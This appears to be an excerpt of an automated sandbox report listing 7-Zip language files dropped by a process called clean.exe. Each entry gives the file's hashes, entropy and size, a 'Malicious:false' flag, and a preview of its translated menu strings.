                                                                                                                                                                                                                                                                  SSDEEP:96:ikrJrFkaUGFoiZxn8pSbo4YCVtH7tpY+Qan1JZ0d+yccGFs8Ie30aNMfm88B9eDb:ieJZ0o98pT4YCP1pfSDHayRvpyDJe
                                                                                                                                                                                                                                                                  MD5:8F15262B3C1CF560B6352FAE4A5FDE21
                                                                                                                                                                                                                                                                  SHA1:C493F7834117F02AAB3DD34999ACF55977D94C67
                                                                                                                                                                                                                                                                  SHA-256:881B19DD1F74251E475855B8BDB53CE9AF1C3D2654A9331B069A3C273F723769
                                                                                                                                                                                                                                                                  SHA-512:18406E2C762F5E7D5D37D76C0FDC8A8A85D50FCB66B2D92D072B4CA3714FCA6EAE9CCD9DD50BBB00DA84BCCFD07EBA290930C17A1B9342626715A6D6DE8191D2
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.53 : 2007-12-26 : Pathanisation Project : pathanisation.pakhtosoft.com..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Pashto........401.......................&....&.......&..................&..440...... .. ..&...&... .. .........................&........&.......&............. ...... .... ..... .. ... .. ......500.......&......&.....&...&............&.......&..540..........&......& ............. .&............&......&....&............. .....&....... .....&.......&.......... ...&.......... ...&.....................&......... ............. ............ ........&.....600..... ....&..... ............. .......&........................ ... ........ ...

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\pt-br.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):9493
                                                                                                                                                                                                                                                                  Entropy (8bit):5.041025960460803
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iNoGTV4hzNNmYsevh5ghE/PkW4zRfl3QuQ:ieGR4hzNvse4hEH5UfFQuQ
                                                                                                                                                                                                                                                                  MD5:4B1BF5AB2DB6E2F7C6F1F619ED6A3CEB
                                                                                                                                                                                                                                                                  SHA1:6C25835B1E4660F5035A6981E9FE785E208FAAE0
                                                                                                                                                                                                                                                                  SHA-256:BDED6834E1C9B107217E8AE1EA7D6B06C13C528CE192EE2E12E2744B085CFF24
                                                                                                                                                                                                                                                                  SHA-512:38FCC603FBA92F66C9BEA28A2BA2BC97A0981CBE28713C9F2C2B46185A9AC84CA575019208FB1011B85632904EC9E2FF87A4EB123031CA2C60FF8ACC1B5ECB38
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; : Francisco Jr..; 4.37 : Fabricio Biazzotto ..; 15.07 : Atualizado por Felipe..;..;..;..;..;..;..;..;..0..7-Zip..Portuguese Brazilian..Portugu.s Brasileiro..401..OK..Cancelar........&Sim..&N.o..&Fechar..Ajuda....&Continuar..440..Sim pra &Todos..N.o pra T&odos..Parar..Reiniciar..&Em 2. plano..&Em 1. plano..&Pausar..Pausado..Voc. tem certeza que voc. quer cancelar?..500..&Arquivo..&Editar..&Visualizar..F&avoritos..&Ferramentas..&Ajuda..540..&Abrir..Abrir &por Dentro..Abrir p&or Fora..&Visualizar..&Editar..Re&nomear..&Copiar Para.....&Mover Para.....&Apagar..&Dividir arquivo.....Com&binar arquivos.....P&ropriedades..Comen&t.rio..Calcular checksum..Diff..Criar Pasta..Criar Arquivo..S&air..Link..&Correntes Alternantes..600..Selecionar &Tudo..Desmarcar Tudo..&Inverter Sele..o..Selecionar.....Desmarcar.....Selecionar por Tipo..Desfazer sele..o por Tipo..700...co&nes Grandes...c&ones Pequenos..&Lista..&Detalhes..730..Desorganizado..Visualiza..o

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\pt.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):9444
                                                                                                                                                                                                                                                                  Entropy (8bit):5.027498368209972
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:imxbxSa4GR9N8zMzM0KgWWauXYY5wNKDyYaipnj0aQiAKECNIuZB:imBxSNGR9N8zMzM0KgERYKNYy3ipnj0G
                                                                                                                                                                                                                                                                  MD5:E6F09B147CB07532C12E47B05CCF87B7
                                                                                                                                                                                                                                                                  SHA1:1B6D069D431EDAC41C4221A120E8CB9B1152FC70
                                                                                                                                                                                                                                                                  SHA-256:55807ED90AE0D9216B93EC7E1D0571CB16D7F9DB40723581AEFC4EA829D4D182
                                                                                                                                                                                                                                                                  SHA-512:95F7DB5DD308CA3E91FC3203DFB9FA9DBABD7EEC6CF1A8590EEF0CC670C6B08447BA09AD151A972D721DBFCFA03468BB7E9D2CAC190D6C72C543CE5A16C7AA32
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; : Carlos Macao..; : Jo.o Alves..; : Jo.o Frade (100 NOME TR)..; 4.46 : Rui Costa..; 9.17 : S.rgio Marques ..; 15.00 : Rui Aguiar..;..;..;..;..;..0..7-Zip..Portuguese Portugal..Portugu.s..401..OK..Cancelar........&Sim..&N.o..&Fechar..Ajuda....&Continuar..440..Sim p/ &Todos..N.o p/ T&odos..Parar..Reiniciar..&Segundo plano..P&rimeiro plano..&Pausar..Em pausa..Quer mesmo cancelar?..500..&Ficheiro..&Editar..&Ver..F&avoritos..Ferramen&tas..&Ajuda..540..&Abrir..Abrir &dentro..Abrir &fora..&Ver..&Editar..Mudar& o nome..&Copiar para.....&Mover para.....&Eliminar..&Separar ficheiro.....Com&binar ficheiros.....P&ropriedades..Come&nt.rio..Calcular o checksum..Diff..Criar pasta..Criar ficheiro..&Sair..Link..&Alternar Fluxo..600..Seleccionar &Tudo..Desmarcar tudo..&Inverter selec..o..Seleccionar.....Desmarcar.....Seleccionar por tipo..Desmarcar por tipo..700...cones &grandes...cones &pequenos..&Lista..&Detalhes..730..Sem ordem..Vista plana..&2 pa

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ro.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):7675
                                                                                                                                                                                                                                                                  Entropy (8bit):5.101248190322628
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iVF8khF2yUYtHwfajHwKlPVS6LWbsWGGqZfG7ORVCPF27l:iD8mUYtHCxuPjWQu6KP0x
                                                                                                                                                                                                                                                                  MD5:E3EE837F02A1F6E4B2213EB36C025284
                                                                                                                                                                                                                                                                  SHA1:56CCAFA0F9C3D805A845311C2EBD80C93A595B17
                                                                                                                                                                                                                                                                  SHA-256:F168BB4D026782134CC6C261006B815850E753A27FB47C4F23EE617666459A66
                                                                                                                                                                                                                                                                  SHA-512:A923F953AF5DF72E04B5C38E523A003B85C0ED74E20AE1C3A2D4848828E03DE8E703953CFCF653C148A0EEAA9365F9187804DE0D534435CCB90DAC1C4EA68A63
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.59 : Lucian Nan : http://www.prizeeinternational.com..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Romanian..Rom.n...401..Bine..Anulare........&Da..&Nu..&.nchide..Ajutor....&Continu...440..Da, pe &toate..N&ici unul..Opre.te..Restarteaz....n &fundal..La &suprafa....&Pauz....n pauz...E.ti sigur c. vrei s. anulezi?..500..&Fi.ier..&Editeaz...&Vizualizeaz...F&avorite..&Unelte..&Ajutor..540..&Deschide..Deschide .&n..Deschide .n &afar...&Vizualizez...&Editeaz...&Redenume.te..&Copiaz. la.....&Mut. la......ter&ge...mparte &fi.ierul.....&Une.te fi.ierele.....&Propriet..i..Comen&tariu..Calculeaz. suma de verificare....Creaz. director..Creaz. fi.ier..&Ie.ire..600..&Selecteaz. tot..&Deselecteaz. tot..&Inverseaz. selec.ia..Selecteaz......Deselecteaz......Selecteaz. dup. tip..Deselecteaz. dup. tip..700..Iconi.e m&ari..Iconi.e m&ici..&List...&Detalii..730..Nesortat..Vedere plan...&2 panouri..Bare de &unelte..Deschide directorul r

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ru.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):14667
                                                                                                                                                                                                                                                                  Entropy (8bit):4.350951749459389
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iW2LUMKClXfitECTGV0jxOfXYCjisdvyMpf5ZOO8gCS4nY5tbV67wyxZ+XU2WtWK:i+ptEGntQYpY6MXsO7ChKeZ+HWKk
                                                                                                                                                                                                                                                                  MD5:B5CEC4D03D2D9E162137E475C54AFBC3
                                                                                                                                                                                                                                                                  SHA1:3E86AE0174A096B07173C623B637122E4323DD29
                                                                                                                                                                                                                                                                  SHA-256:AC73D4810639114C3269E3BEAEC84ECAC9473CA6FBC248D804A09DF2B33E4351
                                                                                                                                                                                                                                                                  SHA-512:CB78BD4F6D7D94780BF84F6618A2800A3B6885485C6CB7B0836AFFCB9CA6F6734834FB84F756946E59595067788CD1B1A230CEC760E39D3EA0BAF523F7CC7647
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 15.10 : 2018-03-29 : Igor Pavlov..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Russian...........401..OK................&....&.....&...................&............440.... ... &......... ... .&.......................&.......&.. ........ ......&......... ......... ............. ...... ........ ........?..500..&......&........&.....&............&.......&.........540..&................ &............... .....&..............&....................&..........&.......... ......&........... ......&...........&..... ..........&......... .............&............&...................... .................&....... ...........&.

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\sa.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):19628
                                                                                                                                                                                                                                                                  Entropy (8bit):3.8659793731095453
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:384:isw3ma17q9ntvNTsld5VFxxwMkAGO310F0klrfofmR7HOwPyng:HwQvVnQg
                                                                                                                                                                                                                                                                  MD5:9FE4DA297163A84FE9D0B0289B1AF077
                                                                                                                                                                                                                                                                  SHA1:D14A6A318A50F2F13E45B2269EA2AD8FC5E3C44A
                                                                                                                                                                                                                                                                  SHA-256:A44E8C328BF809890AA6CA883E2CB82B6C5207D9636E9A91253DA4CD893668C8
                                                                                                                                                                                                                                                                  SHA-512:A6FEE2F3D6448F1F5BE6EC88B51FB65EBD07C7BA3DBAF2F7A801FEF54B9DA410E6B800094853180A884889B304EA9A54672781FA7D0F1067AF6C4A63C494A44B
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 9.07 : Vinayy Sharrma, ....... .... ..... ......... .... ...., .. ...... ! .. .........! .... ...... ....... .......;..;..;..;..;..;..;..;..;..;..0..7-Zip..Sanskrit, Indian, .......................401..... ...................&.....&....&... ..............&.... .....440..&....... .....&....... .............. .... ......&............&........(.........)..&......................... .... .... ..... ... ....... .... ..... ....?..500..&........&..........&.

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\si.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):16972
                                                                                                                                                                                                                                                                  Entropy (8bit):4.2388610920003975
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:384:iIOc5iNEOdZPFVIz36hkSuWjJyzB8X/qCwd5WvZNkad73+ivI/MpngGhNJDkGx/p:2XNnZ9/u59CC5WHt9I/rGhPRx9+7SuJc
                                                                                                                                                                                                                                                                  MD5:2B78E18BCB07CB8D59D8682502576F8E
                                                                                                                                                                                                                                                                  SHA1:C277B543EE18441681CDAFF9EFEAD09963BF9604
                                                                                                                                                                                                                                                                  SHA-256:3899EDD17A78BC729278304F7B0AE7750C422A5BA684AAC9EDC15B8527A229DA
                                                                                                                                                                                                                                                                  SHA-512:DA07AF56BBD954828623C7B38FD3E6CDFE89DF98F2525AA486A43FDD17EA5CE79F90E691B1F459DF5238B04B3FFF0FED58559BC93E15559FF6D8D2A2CF4DA172
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.59 : ...... ....... (Supun Budhajeewa)..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Sinhala.........401..................... (&Y)...... (&N)....... (&C).............. ...... (&C)..440.......... ... (&A).......... ....(&L)....................... ................ (&B)........... (&F)...... ...... (&P)...... .... ............ ...... .. ....... . ?..500....... (&F)......... (&E)...... (&V)........ (&A)........ (&T)...... (&H)..540....... ..... (&O)....... ..... ..... (&I)......... ..... ..... (&U)......

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\sk.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):9372
                                                                                                                                                                                                                                                                  Entropy (8bit):5.379400863038617
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:ihqYyHuLGHP372c79qAFklXva+hF+zmTzeNMR:iMjUGHP72cJqAFAXi+hs0aNMR
                                                                                                                                                                                                                                                                  MD5:CA2B22D21945A478757A099EEAFDF9A9
                                                                                                                                                                                                                                                                  SHA1:5EFBF215647E82DDEAA4C83D064EF83B51413DEA
                                                                                                                                                                                                                                                                  SHA-256:E571C0D87B50F4659099B4CA618057533C22578066E411C5CEB3DF8BE1E77CFF
                                                                                                                                                                                                                                                                  SHA-512:40365AC6CDD70FF7B7AB09482E1E9263B1B131772019EDA357007D029A879111DA72B05756ADBFC3206B1C060211A16B5F10D507FB0CAA3696907C8433FE9537
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; : Tomas Tomasek..; 9.07 : Pavel Deve.ka..; 9.38 beta : 2015-01-11 : Roman Horv.th..;..;..;..;..;..;..;..;..0..7-Zip..Slovak..Sloven.ina..401..OK..Zru.i.........&.no..&Nie..&Zavrie...Pomocn.k....Po&kra.ova...440...no na &v.etko..Nie na v.&etko..Zastavi...Re.tartova...&Pozadie..P&opredie..Po&zastavi...Pozastaven...Ste si ist., .e chcete akciu zru.i.?..500..&S.bor..&Upravi...&Zobrazi...&Ob..ben...&N.stroje..&Pomocn.k..540..&Otvori...O&tvori. vn.tri..Ot&vori. externe..&Zobrazi...&Upravi...&Premenova...&Kop.rova. do.....P&resun.. do.....O&dstr.ni...Ro&zdeli. s.bor.....Zl..&i. s.bory.....V&lastnosti..Ko&ment.r..Vypo..ta. kontroln. s..et..Rozdiel (Diff)..Vytvori. prie.inok..Vytvori. s.bor..Uko&n.i...Odkaz.....600..Ozna.i. v.etko..Odzna.i. v.etko..Invertova. ozna.enie..Ozna.i......Odzna.i......Ozna.i. pod.a typu..Odzna.i. pod.a typu..700..&Ve.k. ikony..&Mal. ikony..&Zoznam..&Podrob

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\sl.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):6507
                                                                                                                                                                                                                                                                  Entropy (8bit):5.049049696168982
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iS8TgU2+jtY7Ssnv+0bBktWSQCuHb8FXoTXpGhtPS+UVseBAoIy:iL2+jqratG62XddIy
                                                                                                                                                                                                                                                                  MD5:E1F3B07D836DF4031F4ABC718CF375DC
                                                                                                                                                                                                                                                                  SHA1:2BA325C6D68948B9261C8927EF925839730345F8
                                                                                                                                                                                                                                                                  SHA-256:E433F867DDCE2B0EAFBB2CC6267026979747590028405D833BDFB8B16A4BA77E
                                                                                                                                                                                                                                                                  SHA-512:F9BBB977AEDA257ADB2E0E030746D291BB67C5F5371CD79EF16AC887F4BA5EBA5529132F8C9469F7E1B4C138E9C80C4975BBE0EE147E889BF01E3C7AD8A3E85D
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; : tomazek..; 4.55 : miles..;..;..;..;..;..;..;..;..;..0..7-Zip..Slovenian..Slovenski..401..V redu..Prekli.i........&Da..&Ne..&Zapri..Pomo.....&Nadaljuj..440..Da za &vse..Ne za v&se..Zaustavi..Ponovno za.eni..&Ozadje..O&spredje..&Za.asno zaustavi..Zaustavljen..Ste prepri.ani, da .elite preklicati?..500..&Datoteka..&Urejanje..&Pogled..Pr&iljubljene..O&rodja..Po&mo...540..&Odpri..Odpri &znotraj..Odpri zu&naj..P&rikaz..&Urejanje..Prei&menuj..&Kopiraj .....&Premakni .....Iz&bri.i..&Razdeli datoteko .....&Zdru.i datoteke .....L&astnosti..Opomb&e..Izra.unaj preskusno vsoto....Ustvari mapo..Ustvari datoteko..&Izhod..600..Izberi &vse..Razveljavi izbiro vseh..&Preobrni izbor..Izberi .....Razveljavi izbiro .....Izberi glede na vrsto..Razveljavi izbiro glede na vrsto..700..&Velike ikone..&Majhne ikone..&Seznam..&Podrobnosti..730..Nerazvr..eno..Splo.en pogled..&Dve podokni..&Orodne vrstice..Odpri korensko mapo..Nadrejena raven..Zgodovina mape .....&Osve.i

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\sq.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):6067
                                                                                                                                                                                                                                                                  Entropy (8bit):5.0560884014618
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:96:iHAtkn0BEwsPPhrWkJB5k0+bV9l+vqmF5TGBrSzTSlXDvGfH2QXW7toHpaaiA5GO:iC2sUrUQJ5Tb/CXsXWui8dx7kBttR/Ja
                                                                                                                                                                                                                                                                  MD5:F5C16D9111631A7280AE99C89D5BE4E3
                                                                                                                                                                                                                                                                  SHA1:7FE61A09330C58D445C9C9B48C0CEB904D7879AA
                                                                                                                                                                                                                                                                  SHA-256:40A3FC08E4B2CA3D691C08B9382B2E9FA391F9123A0769052294D93BC2983734
                                                                                                                                                                                                                                                                  SHA-512:1C1801B68D1397D25D6C6D5CE5D1B2D89BD18536A2C0D60CE6AA79CB3CEE92FAB26424033006091C27EFDA84E77256C668FB8317FD940BF6996D1FD9AB1FE46A
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.37 : Mikel Hasko..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Albanian..Shqip..401..N. rregull..Anulim........&Po..&Jo..&Mbyll..Ndihm.....&Vazhdim..440..Po p.r t. gjith&a..Jo p.r t. gjit&ha..Ndalo..Rinis..N. &sfond..N. pla&n t. par...&Pushim..N. pushim..Jeni t. sigurt se d.shironi ta anuloni?..500..&Skedari..&Redaktimi..&Pamja..&T. parap.lqyerit..&Veglat..&Ndihma..540..&Hap..Hap p.rbre&nda..Hap p.rjas&hta..&Pamja..&Redakto..Ri&em.rto..&Kopjo tek.....&Zhvendos tek.....&Fshi..N&daj skedarin.....Kom&bino skedar.t.....&Vetit...Ko&menti..Llogarit shum.n e verifikimit....Krijo nj. dosje..Krijo nj. skedar..&Dil..600..S&elekto t. gjith....se&lekto t. gjith...Anasill selekti&min..Selekto......selekto.....Selekto sipas tipit...selekto sipas tipit..700..Ikona t. &m.dha..Ikona t. &vogla..&List...&Detaje..730..&T. parenditur..Pamje e rrafsht...&2 panele..&Shiritat e veglave..Hap dosjen rr.nj...Nj. nivel m. lart...Historiku i dosjes.....

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\sr-spc.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):11993
                                                                                                                                                                                                                                                                  Entropy (8bit):4.283284821303782
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iCk9ED/u0/rzMXyBMtR/TL0wN1i9Rd9u3ZDxoAF9sOVbvmyz3xnvze0kIqLm3HGX:iCk94zBWv0b9P9gZ1lLhnbe8q0tfsH6o
                                                                                                                                                                                                                                                                  MD5:FFD26304B9B5FAE8547703515E84460D
                                                                                                                                                                                                                                                                  SHA1:CFF3F023BB47CA3C6C3DB202CD8C126B0BB2F59F
                                                                                                                                                                                                                                                                  SHA-256:283DD99EC8D13784B3D79C36766CDB16DAC0EDE0C1C09E8B1EFA64F5DC2C1A55
                                                                                                                                                                                                                                                                  SHA-512:0A4E39E2598C73F936E4C8BD56201FEE00AEB5DAAB0D7B735D5137A8B7C15830B40F028C77B528B75653540836098F5E8FC059111DD2EFBD0A46DDBDF97465C1
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; : Lazar..; 9.07 : Ozzii..;..;..;..;..;..;..;..;..;..0..7-Zip..Serbian - Cyrillic........ - ..........401... .......................................................440.... .. ....... .. ................................ ...................... .. ... ....... .. ...... .. .........?..500.......................................................540.................. .. 7-Zip-.......... .. ........... ................................................. .............. .................... ............. .......................................... ........ ....................... .............. .................60

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\sr-spl.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):7169
                                                                                                                                                                                                                                                                  Entropy (8bit):5.029859884824853
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iZjnEAuD8cvkp9HRmD+eyl3NLH0qgGOzeVTs8rmXab4f:i5EL8cIxMQGGjuXasf
                                                                                                                                                                                                                                                                  MD5:FD327F424C7E4F23D2C018DED334A1B5
                                                                                                                                                                                                                                                                  SHA1:0FE9A48C528BE4022B19F7373CBA9190D3BDB473
                                                                                                                                                                                                                                                                  SHA-256:D5A250B45BD51267E2B0D78CF60E7F14113419565F9B95C2B1113963396570A5
                                                                                                                                                                                                                                                                  SHA-512:AE6C2959A5348BDBC1464FD0E08A3A00F8598A2D423381E5883347A85E88F7749659E0FAC4F89D6CCBC74A1E83F47EC4F42CAC22115CA3921DEF00DE41978ADB
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; : Lazar..; 9.07 : Ozzii..;..;..;..;..;..;..;..;..;..0..7-Zip..Serbian - Latin..Srpski - latinica..401..U redu..Otka.i........Da..Ne..Zatvori..Pomo.....Nastavi..440..Da za sve..Ne za sve..Stani..Ponovo..Pozadina..Na vrhu..Pauza..Pauza..Da li ste sigurni da .elite da prekinete?..500..Datoteka..Ure.ivanje..Pregled..Omiljeno..Alati..Pomo...540..Pogledaj..Otvori sa 7-Zip-om..Otvori sa pridru.enom programom..Pregledaj..Promeni..Preimenuj..Kopiraj u.....Premesti u.....Obri.i..Podeli fajl.....Spoj delove.....Svojstva..Komentar..Izra.unajte provernu veli.inu..razlika..Nova fascikla..Nova datoteka..Izlaz..600..Izaberi sve..Poni.ti izbor svega..Obrnuti izbor..Izaberi.....Poni.ti izbor.....Izaberi po tipu..Poni.ti izbor po tipu..700..Ikone..Naporedno slaganje..Spisak..Detalji..730..Bez sortiranja..Ravan pregled..2 Prozora..Trake sa alatkama..Otvori po.etnu fasciklu..Gore za jedan nivo..Hronologija.....Osve.avanje..750..Rad sa arhivama..Rad sa datotekama.

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\sv.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):7236
                                                                                                                                                                                                                                                                  Entropy (8bit):5.110680939179608
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iILqWqla2zGWTn1p2aHt60oFPFva+EN9/FeDLU2CVd0XdtYSzuQFuQZCL:iIuWvLWT1p2a0d8FgU2CVdkZR4
                                                                                                                                                                                                                                                                  MD5:6E0C3AAAE2961DC727FB9826AD89365F
                                                                                                                                                                                                                                                                  SHA1:4A430ACA6C11911CFE998765FA5E86931437C549
                                                                                                                                                                                                                                                                  SHA-256:C908E371852083A325586EB7D15BE4D5AC030574043B08554C09D3F816FAE064
                                                                                                                                                                                                                                                                  SHA-512:9A3B636C97D55C9054C87EF4A02777DE70E3E181B8CD02ED4108A590FC26F4FD128B09DF573FC747FDC5BE47E9C42F13F5004F510DB9FB69423EC8A781D913B8
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; : Andreas M Nilsson, Christoffer Enqvist..; 4.59 : Bernhard Eriksson..;..;..;..;..;..;..;..;..;..0..7-Zip..Swedish..Svenska..401..OK..Avbryt........&Ja..&Nej..&St.ng..Hj.lp....F&orts.tt..440..Ja till &Alla..Nej till A&lla..Stopp..Starta om..&Bakgrunden..&F.rgrunden..&Pausa..Pausad...r du s.ker p. att du vill avbryta?..500..&Arkiv..&Redigera..&Visa..&Favoriter..Verkt&yg..&Hj.lp..540..&.ppna...ppna &internt...ppna &externt..&Visa..&Redigera..&Byt namn..&Kopiera till.....&Flytta till.....&Ta bort..&Dela upp fil.....&S.tt ihop filer.....E&genskaper..Komme&ntera..Ber.kna checksumma....Skapa mapp..Skapa fil..&Avsluta..600..Markera &alla..Avmarkera alla..&Invertera markering..Markera.....Avmarkera.....Markera efter typ..Avmarkera efter typ..700..St&ora ikoner..Sm&. ikoner..&Lista..&Detaljerad lista..730..Osorterade..Platt vy..&2 Paneler..&Verktygsf.lt...ppna rotmappen..Upp en niv...Mapphistorik.....&Uppdatera..750..Verktygsf.ltet Arkiv..Verktygs

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ta.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):12935
